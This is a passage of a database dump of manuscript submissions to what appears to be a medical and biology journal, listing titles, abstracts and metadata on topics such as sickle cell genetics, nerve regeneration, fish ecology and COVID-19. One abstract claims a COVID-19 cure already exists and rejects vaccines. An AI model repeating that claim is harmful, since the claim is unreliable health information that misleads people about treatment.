Sickle cell anemia among pediatric Sudanese patients','',14,3,'','Abstract\r\nSickle cell disease (SCD) is a highly variable condition, with some patients being asymptomatic and \r\nothers admitted frequently to hospital. Glutathione S-transferases (GSTs) are a group of enzymes that \r\nprotect against oxidative stress. Impairment of the glutathione system due to genetic polymorphisms of \r\nglutathione S-transferase (GST) genes is expected to increase the severity of SCD manifestations.\r\nThis study was aimed to investigate the possible association between the presence of GSTM1, GSTT1\r\nand GSTP1 gene polymorphisms and SCD severity, diversity and complications.\r\nThis study was case control study carried out in Khartoum town in Jafar Ibn Auf Pediatric Hospital / \r\nKhartoum during the period (June 2017 to June 2021). The total subjects of the confirmed diagnosis \r\nwere 126 and 126 control. Among these cases of SCA 78 (61.9%) are males and 48 (38.1%) are female\r\nand for control 80 (63.5%) are male and 46 (36.5%) are female.\r\nWe measured the frequency distribution of the three GSTs gene polymorphisms, GSTM1 and GSTT1 \r\ngenotypes were determined by polymerase chain reaction (PCR). GSTP1 genotyping was conducted \r\nwith a PCR-restriction fragment length polymorphism assay, SPSS version 23 was used to analyze the \r\ndata.\r\nResults: We found there are statistically significance between GSTM1 with gender variability, presence \r\nof Hand-Foot syndrome, acute chest syndrome, UTI and blood exchange with p. value (0.002, 0.005,\r\n0.001 ,0.044 and 0.044) respectively.\r\nAlso, we found statistically significance between GSTT1 and gender variability, blood transfusion,\r\nannual hospitalization and stroke with p. value (0.012 ,0.000, 0.002 and 0.002) respectively.\r\nWe found no statistically significance between GSTP1 and gender and clinical manifestations.\r\nPolymorphism of both GSTM1 and GSTT1 statistically significance is seen in disease appearance,\r\nHand-Foot syndrome and Acute chest syndrome with p. value (0.021, 0.002 and 0.001) respectively.\r\nPolymorphism of both GSTM1 and GSTP1 genes had statistically significance with painful crises, \r\nHand-Foot syndrome, splenomegaly and blood exchange with p. value (0.039, 0.026, 0.013 and 0.000).\r\nPolymorphism of both GSTT1 and GSTP1 genes had statistically significance in gender variability,\r\nblood transfusion, annual hospitalization, stroke and hand and foot syndrome with p. value (0.035, \r\n0.000,0.034 ,0.025, 0.005) respectively.\r\nPolymorphism of the three genes GSTM1, GSTT1 and GSTP1 had statistically significance with blood \r\ntransfusion, painful crises, Hand-Foot syndrome and acute chest syndrome with p. value (0.036, 0.042,\r\n0.013 and 0.003) respectively.\r\nWe also found significance association between disease severity with GSTT1 with p. value (0.003) but \r\nno significance association of disease severity and GSTM1 and GSTP1.\r\nConclusion: Some GST genes polymorphisms were significantly associated with hematological \r\nparameters and clinical manifestations of SCD.','Key words: Sickle cell disease, Glutathione S Transferase polymorphisms',4089,'','2020-11-04',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-11-19',1),(6567,7827,975,0,'','Prevalence of Glutathione S Transferase (GSTM1, GSTP1 and GSTT1) polymorphisms  among pediatric Sudanese patients with Sickle cell anemia','',14,3,'Hematology','Abstract\r\nSickle cell disease (SCD) is considered one of the major types of anemia in Sudan, especially the western part of the country. The glutathione system plays an important role in the removal of endogenous products of peroxidation of lipids, thus protecting cells and tissue against damage from oxidative stress. Impairment of the glutathione system due to genetic polymorphisms of glutathione S-transferase (GST) genes is expected to increase the severity of SCD manifestations. \r\nThis study was aimed to evaluate the rate of GSTM1, GSTT1, and GSTP1 gene polymorphisms among homozygous sickle cell anemia pediatric patients.\r\nThis study was case control study carried out in Khartoum town in Jafar Ibn Auf Pediatric Hospital / Khartoum during the period (June 2017 to June 2021). The total subjects of the confirmed diagnosis were 126 and 126 control. Among these cases of SCA 78 (61.9%) are males and 48 (38.1%) are female and for control 80 (63.5%) are male and 46 (36.5%) are female.\r\nWe measured the frequency distribution of the three GSTs gene polymorphisms, GSTM1 and GSTT1 genotypes were determined by polymerase chain reaction (PCR). GSTP1 genotyping was conducted with a PCR-restriction fragment length polymorphism assay, SPSS version 23 was used to analyze the data.\r\nResults: The GSTM1 null genotype frequency was found to be slightly lower in the control group, (30.2% as opposed to 33.3% in SCA patients), but this difference was not considered to be statistically significant (OR = 1.16, 95% CI: 0.68-1.97; p- value = 0.5884).\r\nGSTT1 was found in 47.6% of SCA patients and 77.8% of the Control but the frequency of individuals carrying the GSTT1 null genotype was significantly higher among SCA patients, 52.4% compared to 22.2% of the Control; (OR = 3.85, 95% CI: 2.23- 6.65; p-value = 0.0001).\r\nIndividuals with a combined GSTM1 null/GSTT1 null genotype had an estimated 11.7-fold increased risk of SCA over individuals with a GSTM1 present /GSTT1 present genotype (OR=11.7; CI=2.67-51.2; p-value=0.0011). \r\nThe GSTM1 present /GSTT1 null genotype had an estimated 2.01-fold increased risk to over individuals with a GSTM1 present /GSTT1 present genotype (OR=2.01; CI=1.16-3.51; p-value=0.0135). in contrast, GSTM1 null/ GSTT1 present genotypes were not associated with a SCA risk (p-value= 0.071)\r\nThe homozygous (Val/Val) of GSTP1, the heterozygous (Ile/Val) and the wild genotype of GSTP1 (Ile/Ile) forms were found in 9.7%, 35.5% and 54.8% of SCA cases, respectively.\r\nIn the Control, the homozygous (Val/Val) of GSTP1 Ile105Val, heterozygous (Ile/Val) and the wild genotype of GSTP1 (Ile/Ile) forms were 1.6%, 39.7% and 58.7%, respectively. \r\nThe homozygous mutant type (Val/Val) of GSTP1 showed significant difference patients and controls (OR= 6.53, 95% CI: 1.41-30.24; P-value = 0.0164).\r\n\r\nConclusion: The GSTM1 null genotype frequency was found to be slightly higher in SCA patients, the GSTT1 null genotype was significantly higher among SCA patients, individuals with a combined GSTM1 null/GSTT1 null genotype had increased risk of SCA and the homozygous mutant type (Val/Val) showed significant difference patients and controls.','Sickle cell disease, Glutathione S Transferase polymorphism',4089,'','2020-11-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-11-19',1),(6548,7690,975,0,'','WHARTON’S JELLY AS BIOMATERIAL NERVE SCAFFOLD FOR SCIATIC NERVE REGENERATION IN ALBINO WISTAR RATS','',15,0,'','Human umbilical cord (hUC) is encompassed by a mucoid connective tissue called Wharton’s jelly (WJ), made of hyaluronic acid, collagen and stromal cells to support the blood vessels of hUC. This study was aimed to determine the in vitro neuronal differentiation of Wharton’s jelly-derived Mesenchymal stem cells (WJMSCs) and in vivo axonal regeneration potential of human Wharton’s jelly as a neuronal graft after sciatic nerve injury in immunosuppressed Albino Wistar rats. WJMSCs could be differentiated to neuron-like cells by inducing with neuronic supplementing media. The test animal’s axotomized nerves were implanted with trimmed human umbilical cord devoid of vascularity. The control animals were bridged with native sciatic nerve reversed and sutured. Post-surgical functional recovery was studied by walking track, pin-prick, muscle weight and sweating quantification. At the end of the 4th week, the animals were euthanized, and Magneto Neuro graph (MNG) was performed. The explanted grafts were quantified by immunohistochemistry for immuno-rejection, neural scarring, neural adhesion axon regeneration, fiber diameter, myelin thickness and g-ratio. The sciatic function index (SFI) values were similar by walking track analysis for both the test group and control group. The animals had functional and sensation recovery by the end of two weeks. No mortality, signs of inflammation and acute immunorejection were observed post-surgery. The hUCWJ devoid of vascular elements can be a perfect peripheral nerve grafts and we hypothesis that the cryopreserved hUC could be an ideal resource for axonal regeneration in future.','Umbilical cord, Peripheral nerve regeneration, Mesenchymal Stem cells, Sciatic nerve, Wharton’s Jelly',4089,'','2020-10-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',1,'','',0,0,0,0,NULL,'2020-11-19',1),(6231,7478,975,0,'','CoV19 and Real Science','',3,0,'','The hottest topic in politics and medicine today is COVID-19. Within this narrative there \r\nseems to be a recurring discussion about “Real Science,” and what it is or is not. To \r\nbetter understand this and get politics out of the way, we take a look at what defines \r\nscience and politics, and then use the principles of evidence-based causation to review \r\nCOVID-19 and how it infects cells and our immune system. Using a meta-analysis \r\napproach to understand all the known causal relationships of this disease we found that \r\nscience has already produced a cure for COVID-19, but because of systemic failures in \r\nour government and scientific communities, many people have unnecessarily died.\r\nAreas Covered\r\nUsing 18 NIH studies and more than 50 other technical references, this paper defines \r\nseveral different ways the COVID-19 virus attacks our body and how it responds. It also \r\ndescribes how the 17 comorbidity conditions defined by the CDC are involved in nearly \r\nall deaths. We also discuss some serious contradictions involving Big Pharma and \r\npolitical decisions, along with why we believe vaccines are not the answer to this \r\npandemic.\r\n','COVID-19, Virus, Real Science, Groupthink, Principles of Causation, \r\nHydroxychloroquine, Zinc Ionophores, Zinc, Big Pharma, Scientific Journals, Vaccines',3460,'','2020-09-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2020-11-19',1),(5952,7181,975,0,'','Isolation of Mesenchymal Stem-like Cells and its in-vivo Tumor-genericity into Meningioma.','',14,3,'','Abstract \r\nMeningioma are the most common primary brain tumor. In spite of the available surgical options and adjuvant treatment, tumor recurrence is still a challenge. Advances in molecular cell biology and genomic techniques have demonstrated in human brain tumors the existence of subpopulations of cells that functionally behave as tumor stem cell. Our knowledge about meningioma molecular pathogeneiticity is still scarce. Knowledge of the cell of origin and mechanism of growth in meningioma offers new opportunity for more effective treatment of the disease.\r\nThis study aimed to isolate putative mesenchymal stem- like cells from meningioma specimen and to detect its in-vivo tumor-genericity into meningioma.\r\nMethods\r\nMeningioma specimens were processed through two lines, one for RNA extraction and the other for isolation of mesenchymal stem-like cells. CD44, CD73 and CD 105 were detected by PCR. Cell surface markers antigens CD34, CD13 and HLA DR were detected by flow cytometry in the isolated MScs. Cultured isolated MSCs were implanted in albino Wister rats’ brain to detect its tumor-genericity into meningioma. Histopathology and immunohistochemistry analysis was used for identification of the growing tumor.\r\nResults\r\nSpindle-shaped and adherent cells similar to MSCs were isolated and successfully cultured. The isolated cells which encoded the cells of origin, demonstrated the ability to differentiate into fibrous meningioma in albino Wister rats brain.\r\n','cancerous stem cell,CD44,CD73,CD105,NCNS. ',3460,'','2020-08-26',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-11-19',1),(5826,7051,975,0,'','Gender and immunosenescence dependent progression of COVID-19 in Bangladeshi population','',16,0,'','Novel coronavirus (SARS-CoV-2) emerged from Wuhan, China has spread rapidly around the world with a male bias case fatality rate. However, this COVID-19 pandemic caused by SARS-CoV-2 quickly surges in Bangladesh and the case disaggregated epidemiological data also showed that men, especially the aged men have higher risk of developing this disease. In this review, it is highlighted how the sex specific mechanism along with sex hormone modulate innate and adaptive immune response, susceptibility of viral infection etc. in male and female. Moreover, the effect of aging can alter the immune system that reduces ability to fight the infection. Therefore, this review emphasizes the impact of gender and age in immunopathogenesis in order to improve the therapeutic treatment of COVID-19 disease, which is unique to other studies in respective to Bangladesh. ','SARS-CoV-2, Gender, Age, COVID-19, Immune system',3677,'','2020-08-16',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2020-11-19',1),(5727,6950,975,0,'','OCIMUM GRATISSIMUM INFLUENCE ON LEAD-INDUCED CHANGES ON THE HEPATOBIOCHEMICAL PARAMETERS IN WISTAR RATS','',14,3,'','Background: Lead is deleterious to hematological, biochemical and hepatic parameters and researches have focused on antioxidants with therapeutic potentials to resolve and prevent these changes. Objective: To study the influence of Ocimum gratissimum (OG) extract on lead-induced hepatotoxicity and hemato-biochemical parameters of adult Wistar rats. Methodology: Thirty-five adult Wistar rats were assigned into seven groups of five rats each. Group A served as Control, B received 120mg/kg of lead while C received 375 mg/kg of OG. Groups D and E received 120mg/kg of lead before 375mg/kg and 750mg/kg of OG respectively. Group F received 375mg/kg of OG extract then 120mg/kg of lead while Group G received 120mg/kg of lead and 1,190mg/kg of ascorbic acid. All administrations lasted for 21 days orally, after which the animals were sacrificed; blood and liver tissues were collected for biochemical and histological analysis. Results: The result showed increase in the mean body weight in the Control but a decrease in B. The result of biochemical analyses showed significant increase in Liver enzymes namely: ALT, AST, GGT and ALP in Group B compared to the Control and other treatment groups (p≤0.05). The result of histological analysis of the liver tissues showed degenerative changes with focal necrosis and aggregated inflammatory cells in B and liver treated with the extract showed ameliorative changes as in Groups D, E, F and G. Conclusion: The extract of OG could be used as a therapeutic agent for intervention in lead poisoning.','Hepatobiochemical, Lead, Liver, Ocimum gratissimum, Wistar rats, Parameters.\r\n',3460,'','2020-08-07',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2020-11-19',1),(5275,6470,975,0,'','The effects of Thymoquinone on inhibiting the expression of SENP1 gene in the MCF-7 cell line','',14,3,'','Sumoylation, as post-translational modifications, plays essential roles in various biological functions including cell growth and migration, stress response, and tumorigenesis. In sumoylation, SENP1 catalyzes the SUMO protein maturation to combine with target proteins. Breast cancer is a common malignancy in women and also SENP1 progression is high in this cancer. Thymoquinone is a biologically active substance and a secondary metabolite found in the black seed, and recent researches indicate antioxidant, anti-inflammatory, anti-cancer and other important biological activities. The effects and mechanisms of Thymoquinone on SENP1 are not well studied. For this purpose, the first MCF-7 tumor cell line and normal MCF-10A cell line were cultured in normal conditions and then treated with specific doses of thymoquinone. The lethal activity was evaluated by MTT assay and exhibited that the toxicity of thymoquinone on MCF-7 cell line was higher than  healthy cell and the intensity of its effect was different from MCF-10A cell. Then SENP1 gene expression were measured. Gene expression changes in tumor cells, were then compared with  normal cells and it was found that  thymoquinone was able to reduce SENP1 gene expression in the tumor cells. Then docking of Thymoquinone with SENP1 protein was performed. The amount of binding energy between Thymoquinone &  protein SENP1 is -54 and with Dimer of Thymoquinone is -80. Based on what researchers  have concluded in this study, it is possible that the  mentioned gene and SENP1 Protease can be considered as a candidate for breast cancer treatment and drug target.','Sumoylation, Breast Cancer, Black Seed, Cysteine Protease, SUMO',3460,'','2020-07-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-11-19',1),(5128,6309,975,0,'','REMDESIVIR EFFECTIVENESS AGAINST COVID-19','',19,0,'','This paper determines the study of dosing and treatment therapy and drug effectiveness used for hospitalized COVID-19 patients whom are being administered remdesivir in a large, multi-center, clinical trial led by NIH’s National Institute of Allergy and Infectious Diseases (NIAID). Remdesivir has been as of late a solid contender for the treatment of Covid-19and in this critique, some of scientist depicted the structure of the coronavirus in a straightforward manner just as the site  where remdesivir acts whearas in continuous clinical preliminaries, just as a distributed report that was led on merciful base and The covid-19 pandemic may wean somewhere near the finish of summer 2020, yet the danger of regularity exists. Hence, future removal of operators, for example, remdesivir may be critical for guaranteeing a proficient treatment, decline mortality and permit early release.','RNA,DNA,MERS,SARS',3460,'','2020-07-09',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2020-11-19',1),(5124,6303,975,0,'','The Era of Precision-Based Medicine','',17,0,'','Precision based medicine has triggered national initiatives on a data driven approach for individuals. Its aims include early disease risk stratification, monitoring a pathology’s natural history and improved surveillance and management of disease processes. Bioinformatics are key in cost-effective collection and analysis of high volumes of data. [1] Evidence based medicine is the Gold standard for many Clinical Practitioners. However, this blanket approach can provide inadequate solutions for outliers, which can be better managed using precision-based medicine.\r\n‘Prevention is better than the cure’ is the proverbial statement most true in Medicine. Global individualised, standardised data collection will create a shift from evidence-based medicine to prevention of the disease processes themselves.[1] Omic tools including Genomics, Epigenomics, Proteomics and Metabolomics are vital in evaluating and understanding disease processes before they become apparent in the human population. This will lead to improved outcomes in patient-centred healthcare.\r\nGenomic sequencing is already being widely utilised to aid not only in oncological fields [2] but also in the area of microbial pathogen identification and the epidemiological analysis of pathogen spread. [3] The additional benefit of its cost-effectiveness will also enhance new treatments and patient options.\r\nWith the advent of innovative high-throughput data systems, large volumes of data are becoming substantially more cost-effective, not only to store but to analyse data. [1] The wealth of multi-scale and multi-level data requires sophisticated, multidimensional analyses in order to convert these datasets into clinically useful information. \r\nThe surge in popularity of social media has empowered individuals to manage our own health and interact with others with similar diseases. [1] Could this mean that we could be responsible for our own health records?\r\nEvidence based medicine and precision-based medicine should be used in tandem. Multi-level data can be shared and collected by responsible individuals using clinical bioinformatics required to convert this complex information into clinically useful knowledge. The collection process seems the easiest step in engaging in proactive medicine. However, data sharing, integration and analysis creates further challenges. The greatest of these would be the need to attribute confidentiality and legal issues. [4]\r\n','Evidence based medicine; Precision based medicine; Omics',3752,'','2020-07-09',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2020-11-19',1),(6251,0,975,0,'','ETUDE DU DEFICIT DE LA G6PD (GLUCOSE-6-PHOSPHATE DESHYDROGENASE) CHEZ LES DONNEURS DE SANG A BRAZZAVILLE','',14,0,'','Le glucose-6-Phosphate déshydrogénase (G6PD) est une enzyme présente dans le cytoplasme de toutes les cellules du corps. Elle sert à protéger  les globules rouges de certaines agressions. L’anomalie est transmise génétiquement sur mode récessif, lié au chromosome X. Actuellement on estime à 420 millions d’individus déficitaires en G6PD dans le monde et son incidence varie entre 1-25% chez certaines populations africaines. Il s’agissait d’une étude transversale analytique et à recueil des données prospectives qui s’est déroulée  de Mai à Novembre 2018 soit six (6) mois. Notre étude avait inclus 108 donneurs de sang, 88 hommes et 20 femmes. Les échantillons ont été conservés entre 2-8°C pendant 24h en attente de manipulation. La détermination de l’activité enzymatique de la G6PD s’était effectuée sur la méthode spectrophotométrique en utilisant un kit disponible dans le commerce. 02/108 sujets étudiés (soit une prévalence de 1,85%) ont été déficitaire dans notre étude. C’est deux déficitaires étaient essentiellement jeune et compris entre 18-25 ans uniquement de sexe masculin. Ils étaient originaire du plateau et observés dans le poste de transfusion sanguine (PTS) de l’hôpital de référence de Talangaï. La valeur moyenne de l’hémoglobine chez les sujets normaux était de 12,53 g/dl chez les hommes et 11,3 g/dl chez les femmes. Par contre chez les déficitaires, la valeur moyenne du taux d’hémoglobine était  de 10,45 g/dl. La valeur moyenne de l’activité enzymatique de la G6PD chez les sujets normaux était de 11,7UI/g d’hémoglobine chez les hommes, 11,54 UI/g d’hémoglobine chez les femmes et chez les sujets déficitaires était 2,83 UI/g d’hémoglobine. Comme le montre les résultats de notre étude, le déficit en G6PD à une incidence sur le taux d’hémoglobine.    ','Prévalence, déficit G6PD, donneurs de sang, Congo Brazzaville.',3460,'','2020-09-28',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2020-12-01',1),(6717,7970,639,0,'','Prefeasibility Evaluation and Management proposal on the Biological, Physical and Chemical Parameters of Seven water bodies intended for Fish culture at Latitude: 10° 09\' 12.00\" N Longitude: 76° 23\' 17.39\" E','',16,3,'','Evaluation report and ecological constrains around industrial area is the thrust of this research. It provides the description of area and methods of sample collection. The report suggested that the area is stratified with phytoplankton diversification which is suitable for fish species culturing. The pyshio parameters presented in this area is also conclusive for fish variety. In conclusion the mitigating and management solution also included.','Phytoplankton, Salinity, Management, Evaluation report',1774,'','2020-11-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-12-02',1),(6716,7970,639,0,'','A survey on the species diversity and water quality parameters of selected site in Vembanad Lake','',16,3,'','The status of fin fish and shell fish diversity were investigated in the Vembenad Lake in the proposed study area includes Chandhi Resort, Chungam, Pallathuruthy, Vattakayal and Aaru Block. A total of 28 species were identified in which the Shannon Wiener diversity index (H’) values were found to be on higher side and varied from 0.6548 to 2.311. Simpson Dominance index was shown a maximum of 0.8876 (site 1) and minimum of 0.2466 (site 2). There were signs of decline of the Vembanad fishery resources, evident in the lesser number of species and decline of fishery production. It shows that the difference of 72% was shown in between site 5 and site 2 when compared with others. While the similarity index shows that site 5 and site 2 are much comparable to the extent of difference of 8 %. There is 40% difference were noted between site 4 and with site 3 and 1. The difference of 16% was observed between site 3 and site 1 in the present study. Representation of water quality parameters were also analyzed showed an average salinity during the study period was 11.95 ppt and dissolved oxygen was 4 mg/ml.','Phytoplankton, Water Quality parameters, Fin fish and shell fish',1774,'','2020-11-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-12-02',1),(6715,7970,639,0,'','Acceptance of thermal and pH shock on Red belly Pacu (Piaractus brachypomus) in adverse rapid environmental conditions','',16,3,'Environmental Impact','Uncertainty of environmental parameters in an aquatic ecosystem may occur within matter of time leads to sudden fluctuations. It may happen anywhere at any time due to both natural and anthropogenic sources.  The survival of the aquatic organisms in these ecosystems may directly or indirectly depends on the tolerance limit of that particular organism against the sudden change and the physiological immune response of the species. Here, an attempt has been created with an experimental run where sudden temperature and pH change were monitored. Red Bellied Pacu has shown a greater survival towards rapid fluctuations in temperature with variety of behavioral response.  But when it comes to the case of rapid change in pH the fish has shown mortality with different point of pH value and got higher death rate in higher pH value.  This results shows that pH has a more significance in tolerance and survival of Red Bellied Pacu when compared to temperature in different environments especially in more alkaline waters.','Tolerance limit, Red Belly Pacu, Rapid fluctuation, Temperature, pH',1773,'','2020-11-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-12-02',1),(7268,8536,45,0,'','LE PETIT GUIDE  DU MARKETING DES SERVICES- Réussir sa démarche de Marketing hospitalier','',1,1,'Réussir sa démarche de Marketing hospitalier','Quels sont les nouveaux leviers marketing à la disposition des structures\r\nhospitalières ? Le petit guide offre une vision nationale et fait le point sur les\r\nrecherches dans le domaine en matière de marketing des services et de\r\nmanagement de la santé. Dans un univers en concurrence perpétuelle interétablissements sanitaires et un environnement prédominé par un consumérisme\r\nmédical, il est plus que nécessaire de connaître les dernières techniques adaptées\r\nà ce contexte particulier qu’est l’hôpital. C’est pourquoi Marketing des services\r\nhospitaliers présente une approche originale de cette discipline récente qu’est le\r\nmarketing hospitalier. L’auteur est enseignante-chercheure, mais également\r\nconsultante régulièrement sollicités par des formations hospitalières ou des\r\nmédias. L’approche de ce guide intéressera tant le monde académique\r\n(professeurs et étudiants) que les professionnels (laboratoires pharmaceutiques,\r\ninstitutions médicales ou paramédicales, associations de patients, assurances et\r\nmutuelles, …) désireux de se mettre à la page en utilisant les techniques\r\nmarketing les plus récents dans la discipline.','',686,'','2021-01-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-02-05',1),(7331,8604,45,0,'','Breast Cancer Surgery','',3,0,'','Dr. Choudhry specializes in Breast Cancer Surgery, performing Breast Cancer Operation and Breast Cancer Removal Surgery. The Austin, TX top Breast Cancer Specialist!\r\n','Breast Cancer Surgery\r\n',4076,'','2021-02-08',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-02-09',1),(7371,8641,639,0,'','Automatic fish measurement using a camera and a 3D sensor applied to a long-term experiment ','',16,3,'','The fish monitoring effort has been increasing over the past years, due to conservation and management requests demanding more accurate data and consequently raising costs. This is an important challenge especially for remote and disperse locations where fish sampling poses unbearable costs, leading to limited spatial sampling schemes, limited data on rare and occasional landed species, as well as erroneous and biased observations.','convolutional neural networks, deep learning, fish size estimation, landings',1770,'','2021-02-11',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-02-12',1),(7333,8606,45,0,'','Surgical Repair of Hernia','',3,0,'','Dr. Choudhry specializes in Surgical Repair of Hernia, performing Best Inguinal Hernia Repair and Inguinal Hernia Treatment. Austin’s best Hiatal Hernia Repair Surgeon!\r\n','Surgical Repair of Hernia\r\n',4076,'','2021-02-08',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-02-12',1),(7381,8641,639,0,'','Automatic fish measurement using a camera and a 3D sensor applied to a long-term experiment ','',16,3,'','The fish monitoring effort has been increasing over the past years, due to conservation and management requests demanding more accurate data and consequently raising costs. This is an important challenge especially for remote and disperse locations where fish sampling poses unbearable costs, leading to limited spatial sampling schemes, limited data on rare and occasional landed species, as well as erroneous and biased observations.','Keywords: convolutional neural networks, deep learning, fish size estimation, landings',1770,'','2021-02-12',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-02-12',1),(7431,498,45,0,'','Willingness of Health Care Workers to Respond to Covid-19 Pandemic in Port Harcourt, Nigeria','',14,3,'','Background: During a pandemic a health personnel may be unwilling to work due to a number of perceived risks. The aim of this study was to identify the various factors that can influence the health workers willingness to discharge their duties during a pandemic and to suggest options for changing the attitude of those who might be unwilling to work to facilitate evidence-based disaster planning. Materials and Methods: A cross-sectional survey targeting healthcare workers in Nigeria was conducted using structured and self-completion questionnaire. Both the printed and an electronic version of the questionnaire were administered to the respondents. Results: Out of 243 respondents, majority 46.5%, (n=113) were within the age group of 30-39 years. The respondents were made up of 46.1% (n=112) males and 53.9 % (n=131) females. A majority of the respondents 77.78% (n=189) agreed that they are bound by the ethics of their profession to attend to the sick despite risk. The majority 53.91% (n= 131) of respondents strongly agreed that they were at risk of infection by going to work during the pandemic. Also, 56.79% (n= 138) of the respondents agreed that covid-19 pandemic have greatly affect their willingness to go to work. Conclusion: The study revealed a strong sense of duty among the HCWs in time of a pandemic even with threat to their lives. It is hoped that the findings of this study will be found useful by the government and relevant agencies to design and implement policies that will focus on and promote HCWs willingness to work during a pandemic like covid-19.','Covid-19 pandemic, Health care workers, Willingness',643,'','2021-02-15',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-02-16',1),(7455,8715,91,0,'','New UK variant of Coronavirus','',19,0,'','A conference with the United Kingdom (UK) on December 8, 2020, about the new UK variant, has been announced by scientists and public health experts suspecting 70% more contagious amongst all the other variants. The emergence of this variant leads to stricter safety measures in the UK. It spread in 45 countries including Denmark, Netherlands, Italy, Japan, Australia after hitting Europe. The researchers were originally suspicious about how important the modification of D614G mutation is, which appeared independently in multiple locations and was found nearly in all sequences. But the appearance of the current \"UK variant\", lineage B.1.1.7, has raised widespread concern, and understanding why the variants are important involves an insight into the evolution of the virus and SARS-CoV-2 genomic epidemiology. This variant caused mayhem in the UK and elsewhere in Europe within 2 weeks of its announcement. Therefore in this review, we have enclosed completely how the new variant emerged, clear explanation of the terms strain, mutation, and variant. Apart from that, the review also includes how this variant was detected, its lineage and mutations, how harmful it is, and will the approved vaccines for SARS-CoV-2 be effective against this variant with a concluding remark and future directions.','Coronavirus, SARS-CoV-2, Mutation, UK variant, B.1.1.7 lineage',4065,'','2021-02-16',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-02-17',1),(7461,8722,45,0,'','Gallbladder Removal Operation','',17,0,'','Dr. Choudhry specializes in Gallbladder Removal Procedure, performing Gallbladder Removal Operation & Surgical Removal of Gallstones. Top Robotic Cholecystectomy Surgeon!\r\n','Gallbladder Removal Operation\r\n',4076,'','2021-02-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-02-18',1),(7488,8743,251,0,'','Evaluation The effect of type II toxin-antitoxin systems on methicillin-resistant Staphylococcus aureus persister cell formation and antibiotic tolerance','',14,3,'','Persister cells are defined as a subpopulation of bacteria in a dormant state with the ability to reduce bacterial metabolism. Persisters have been attributed to antibiotic therapy failure as they are involved in antibiotic tolerance. Toxin-antitoxin (TA) systems have been previously suggested as important players in persistence. Therefore, this study aimed at studying the involvement of TA systems in persister cell formation in methicillin-resistant Staphylococcus aureus following antibiotic exposure.  Using TADB and RASTA database, two type II TA systems including MazF/MazE and relE/RelB were predicted in S. aureus. The presence of these TA genes was determined in 5 methicillin-resistant S. aureus isolates and the standard strain S. aureus subsp. aureus N315 using PCR method. To induce persistence, isolates were exposed to lethal doses of ciprofloxacin and the expression of the studied TA system genes was measured after 5 h using Real-time PCR. According to our results, all the studied isolates harbored the TA system genes. S. aureus was highly capable of persister cell formation following exposure to sub-MIC of ciprofloxacin and qRT-PCR showed a significant increase in the expression of the MazEF and RelBE loci, indicating their potential role in antibiotic tolerance. Considering the importance of antibiotic tolerance, further studies on persister cell formation and TA systems involved in this phenomenon are required to efficiently target these systems.','Staphylococcus aureus, methicillin resistance, persister cells, TA systems, real-time PCR',786,'','2021-02-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-02-19',1),(7507,8761,639,0,'','HEAVY MINERALS EXTRACTION FROM BAY OF BENGAL (RUSHIKULYA–GOPALPUR) BELT: GIS STUDY AND XRF-SPECTROSCOPY APPRAISAL','',12,0,'','\r\nAbstract:The Rushikulya belt deposit formed along the coast of about 18km long and a width of about 1.5 km is the largest of its kind in India. The height of the deposit varies from 1m to 15m from the surface to water table. It is usually in the form of sand dunes and the highest concentration of heavy minerals at the surface. The concentration decreases with the increase of depth. The land is devoid of vegetation except occasional growth of casuarinas trees which requires less water to grow. The sand deposit is less compact and free from over burden, clay or rock in the frontal dune closer to the sea.  The origin of the deposits belongs to the parent rock available in the eastern and the Western Ghats Mountain ranges which contain these minerals in low concentration. The main sources of rocks are Charnokites, Gnesis, Khondalites, Granites, Laterites and Sandstones etc. A tropical climate with heavy rainfall assists in the weathering process. The liberated minerals transported downward with water and air is deposited at the seashore in an unsorted condition Rushikulya River acted as transportation agent for the heavy minerals and deposited it in Bay of Bengal. The actual sorting and concentration takes place due to two principal agents. A breaking wave takes the foreshore minerals to the beach and the backwash carries the lighter minerals back to the sea. And this to and fro action of waves results in sorting and the concentration of heavy minerals in beach placer deposit. Action of the wind enriches the concentration by blowing the finer and the lighter sand particles. The OSCOM deposit can be classified into two sectors viz. south and north for the purpose of evaluation and presentation of the deposit. Ilmenite : Source of titanium, used for manufacture of titanium dioxide & ferro-titanium alloys   Rutile: Source of titanium used for titanium dioxide pigment welding electrodes production of titanium sponge & metal.  Zircon: Foundaries, ceramics, refractories.  Sillimanite: Manufacture of high temperature refractories. Garnet: Used as abrasive.  Monazite: Production of Rare Earth Compounds – Thorium, 